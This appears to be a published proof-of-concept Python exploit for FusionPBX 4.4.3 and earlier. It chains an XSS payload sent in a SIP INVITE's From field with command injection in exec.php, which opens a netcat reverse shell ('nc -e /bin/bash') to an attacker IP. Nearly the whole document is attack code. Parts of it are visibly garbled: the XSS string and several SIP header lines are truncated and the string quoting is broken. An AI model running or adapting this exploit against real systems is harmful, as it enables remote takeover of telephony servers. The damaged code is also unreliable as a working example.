FusionPBX 4.4.3 - Remote Command Execution

# Exploit Title: FusionPBX <= 4.4.3 Command Injection RCE via XSS 
# Date: 06-11-2019
# Exploit Author: Dustin Cobb
# Vendor Homepage: https://www.fusionpbx.com
# Software Link: https://https://github.com/fusionpbx/fusionpbx
# Version: <= 4.4.3
# Tested on: Debian 8.11
# CVE : CVE-2019-11408 (XSS) AND CVE-2019-11409 (Command Injection RCE)

#!/usr/bin/python
import socket, sys
from random import randint
from hashlib import md5

# Exploitation steps:
#
# 1. First, encode an XSS payload that will be injected into the
#    “Caller ID Number” field, or “User” component of the SIP 
#    “From” URI.
# 2. Connect to external SIP profile port and send a SIP INVITE 
#    packet with XSS payload injected into the From Field.
# 3. XSS payload will fire operator panel screen (CVE-2019-11408), which 
#    is designed to be monitored constantly by a call center operator.
# 4. Once XSS code executes, a call is made to the exec.php script 
#    (CVE-2019-11409) with a reverse shell payload that connects back to 
#    a netcat listener on the attacker system.  


# edit these variables to set up attack
victim_addr="10.10.10.10"
victim_host="victim-pbx1.example.com"
victim_num="12125551212"

attacker_ip="10.10.10.20"
attacker_port=4444

def encode(val):
    ret=""

    for c in val:
        ret+="\\x%02x" % ord(c)

    return ret

callid=md5(str(randint(0,99999999))).hexdigest()

cmd="nc -e /bin/bash %s %d" % (attacker_ip, attacker_port)
payload="q=new XMLHttpRequest();q.open('GET','exec.php?cmd=system %s',true);q.send();" % cmd

xss=";tag=%s
To: 
Call-ID: %s
CSeq: 1 INVITE
Contact: 
Max-Forwards: 70
User-Agent: Exploit POC
Content-Type: application/sdp
Allow: INVITE, ACK, OPTIONS, CANCEL, BYE, SUBSCRIBE, NOTIFY, INFO, REFER, UPDATE, MESSAGE
Content-Length: 209

v=0
o=root 1204310316 1204310316 IN IP4 127.0.0.1
s=Media Gateway
c=IN IP4 127.0.0.1
t=0 0
m=audio 4446 RTP/AVP 0 101
a=rtpmap:0 PCMU/8000
a=rtpmap:101 telephone-event/8000
a=fmtp:101 0-16
a=ptime:2
a=sendrecv""" % (victim_num, victim_host, xss, callid, victim_num, victim_host, callid)

payload=payload.replace("\n","\r\n")

s=socket.socket()

s.connect((victim_addr,5080))

print payload
print

s.send(payload)
data=s.recv(8192)

print data